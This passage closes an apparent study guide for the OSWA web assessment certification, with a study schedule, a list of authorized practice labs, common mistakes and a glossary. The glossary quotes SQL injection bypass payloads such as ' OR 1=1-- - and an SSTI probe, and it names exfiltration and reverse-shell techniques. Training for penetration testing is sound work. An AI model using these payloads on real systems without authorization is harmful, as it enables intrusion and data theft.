           IDOR (§23). PortSwigger labs for each.
Weeks 7–8  Chaining (§24) & full assessment methodology (§25) — run end-to-end assessments on vulnerable
           apps; practice the whole flow under time pressure.
Weeks 8+   Reporting (§26) — write professional findings with PoCs; mock exam + report under exam conditions.

Practice targets (authorized): PortSwigger Web Security Academy (free, maps directly to every OSWA topic — do the labs for each class, including the harder ones) is the single best resource; plus DVWA, bWAPP, OWASP Juice Shop, WebGoat, Mutillidae. Resources: OWASP WSTG (methodology), OWASP Cheat Sheets + PayloadsAllTheThings (payloads), PortSwigger topic write-ups (deep technique explanations).

Common mistakes to avoid: shallow enumeration (missing the vuln entirely — especially skipping parameter discovery); stopping at low-impact PoCs instead of chaining; not bypassing filters/WAFs; testing only the obvious parameters; forgetting blind/OOB techniques; weak/incomplete documentation; poor time management; and — never — testing out of scope.


29. Glossary & Quick Reference

Fundamentals: HTTP (methods/status/headers/cookies) · Same-Origin Policy (SOP) (origin = scheme+host+port; blocks cross-origin reads) · encoding (URL/double-URL/HTML-entity/Base64/unicode/hex) · input→sink→context · the input×vuln testing matrix. Tools: Burp Suite (Proxy/Repeater/Intruder/Decoder/Comparer/Collaborator/Sequencer/DOM Invader) · Nmap · Gobuster/ffuf/feroxbuster (dir/file brute force) · Wfuzz/Arjun/Param Miner (parameter discovery) · Hakrawler (crawl) · sqlmap · tplmap/SSTImap · curl/python http.server · Collaborator/interactsh (OOB). XSS: reflected · stored (persistent, second-order) · DOM-based (source→sink) · blind XSS (OOB callback) · context-based payloads · filter/WAF bypass · offensive JavaScript (cookie exfil, same-origin read, CSRF-via-XSS, keylogger, loader) · HttpOnly · CSP. CSRF: state-changing request abuse of auto-sent cookies · auto-submit form / JS fetch (credentials:'include', mode:'no-cors') · token bypasses · SameSite · CSRF-via-XSS. CORS: Access-Control-Allow-Origin / -Credentials · origin reflection · null origin · subdomain trust · credentialed cross-origin data theft. SQLi: detection (error/boolean/time) · auth bypass (admin'-- -, ' OR 1=1-- -) · in-band/UNION · error-based · boolean-blind · time-based · OOB · per-DBMS syntax (MySQL/MSSQL/PostgreSQL/Oracle) · information_schema · fuzzing · sqlmap · tamper/WAF bypass · RCE (INTO OUTFILE/xp_cmdshell). Database enumeration: DBMS/version/user/privs · schemas/tables/columns/data · group_concat/LISTAGG. Server-side: directory traversal (../, encodings) / LFI (php wrappers, log poisoning→RCE) · XXE (in-band/OOB-DTD/error/XInclude/SVG) · SSTI ({{7*7}}→49; engine-specific RCE) · SSRF (internal/cloud-metadata/blind/filter-bypass/gopher) · command injection (separators/blind/OOB/reverse-shell/bypass) · IDOR (object-ref swap; horizontal/vertical; enumeration). Methodology & impact: recon→map→discover→test-matrix→exploit→chain→document · chaining (XSS→ATO, SQLi→RCE, SSRF→cloud, LFI→source→RCE, CORS→theft, XXE→SSRF) · severity (Critical/High/Medium/Low) · PoC · remediation · attack narrative · OWASP WSTG/Top 10. OOB: Burp Collaborator / interactsh / your own server — confirm blind XSS/SSRF/XXE/SQLi/command-injection via DNS/HTTP callbacks.


End of guide. The OSWA (WEB-200) is hands-on web application assessment — enumerate exhaustively (especially file/directory/parameter discovery, where findings hide), test every input against the right vulnerability class (XSS, SQLi, CSRF, CORS, traversal/LFI, XXE, SSTI, SSRF, command injection, IDOR), exploit with real impact using offensive JavaScript, chain findings into critical outcomes (account takeover, RCE, data breach, internal access), and document it all in a professional, reproducible report. Master XSS and SQLi above all, build deep reps on PortSwigger's Web Security Academy and other authorized labs, keep your payload and bypass toolkit sharp, confirm blind cases out-of-band, and always ask one hop further: "what does this let me reach next?" That is the Web Assessor mindset — and that is what this certification rewards.

Leave a heart if you found this helpful

Comments

Sign in to leave a comment